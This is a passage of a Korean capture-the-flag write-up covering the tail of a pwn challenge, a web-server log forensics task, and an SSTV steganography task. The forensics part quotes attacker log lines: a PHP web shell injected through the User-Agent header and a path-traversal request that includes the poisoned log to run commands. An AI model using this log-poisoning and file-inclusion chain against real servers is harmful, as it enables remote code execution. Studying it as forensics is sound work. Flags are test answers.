00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$ [*] Got EOF while reading in interactive
$
```
**FLAG : YISF{5imp13_sp_is_v33eEEry_eAsy,_r1gh7?}**
<br>
## Forensics
### SF Server Analysis
`125.138.133.213` 아이피의 로그가 상당히 많아 수상해 보여서 이 아이피를 추적하였다
<br>
**시작**
아래 로그를 보면 Nikto 스캔을 시작한 것을 확인할 수 있다.
`125.138.133.213 - - [25/Jul/2025:13:58:07 +0000] "HEAD / HTTP/1.1" 200 359 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:Port Check)"`
<br>
**공격**
다음으로 User-Agent에 `<?php system($_GET['cmd']); ?>`을 주입하는 것을 보고 공격자임을 확신할 수 있었다.
`125.138.133.213 - - [25/Jul/2025:14:04:23 +0000] "GET /view.php HTTP/1.1" 200 147 "-" "<?php system($_GET['cmd']); ?>"`
<br>
**성공**
공격을 한 뒤 요청이 200으로 응답하여 RCE 공격에 성공했다는 것을 확인할 수 있었다.
`125.138.133.213 - - [25/Jul/2025:14:04:51 +0000] "GET /view.php?file=../../../../../var/log/apache2/home_shopping_access.log&cmd=id HTTP/1.1" 200 315 "-" "curl/8.5.0"`
<br>
**FLAG : YISF{125.138.133.213_2025/07/25_22:58:07_2025/07/25_23:04:51}**
<br>
### SStegano TV
FTK imager를 사용해 Export 하였고 아래와 같은 폴더들이 있었다.

<br>
`\Users\spy1818\Documents` 경로에 `suspicious_mail.eml`라는 파일이 있어 확인해보니, 이메일 내용이 base64로 인코딩된 `logo_v2.png`과 `logo_v3.png` 파일이었다.

<br>
디코딩해서 확인해보니 `logo_v3.png`에서 아래 이미지가 나왔다.

<br>
문제 이름이 `SSTV`라서 `wav` 파일이 있을 것을 예상하고 `RIFF` 시그니쳐를 검색해보았는데 있었다.
```
t43w00@DESKTOP-PO6TNV7:~/SStegano-TV$ grep -aob "RIFF" logo_v3.png
48256:RIFF
```
<br>
이를 추출해서 github에 있는 `SSTV Decoder`에 돌렸더니 플래그가 나왔다

**FLAG : YISF{S0_3zyyy_St3eg_SSTV}**